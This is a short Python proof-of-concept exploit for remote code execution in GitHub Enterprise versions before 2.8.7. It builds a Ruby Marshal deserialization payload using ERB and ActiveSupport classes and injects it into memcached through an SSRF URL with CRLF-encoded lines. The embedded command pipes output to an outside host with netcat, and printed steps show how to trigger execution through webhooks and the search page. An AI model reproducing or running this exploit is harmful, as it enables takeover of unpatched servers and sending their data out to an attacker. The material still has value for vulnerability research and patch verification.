GitHub Enterprise < 2.8.7 - Remote Code Execution
#!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "`id | nc orange.tw 12345`" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult" ''' marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult' payload = [ '', 'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code), marshal_code, '', '' ] payload = map(quote, payload) url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/' print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org" print '-'*10 + '\n' print url + '%0D%0A'.join(payload) print ''' Inserting WebHooks from: https://ghe-server/:user/:repo/settings/hooks Triggering RCE from: https://ghe-server/search?q=ggggg&type=Repositories ''' |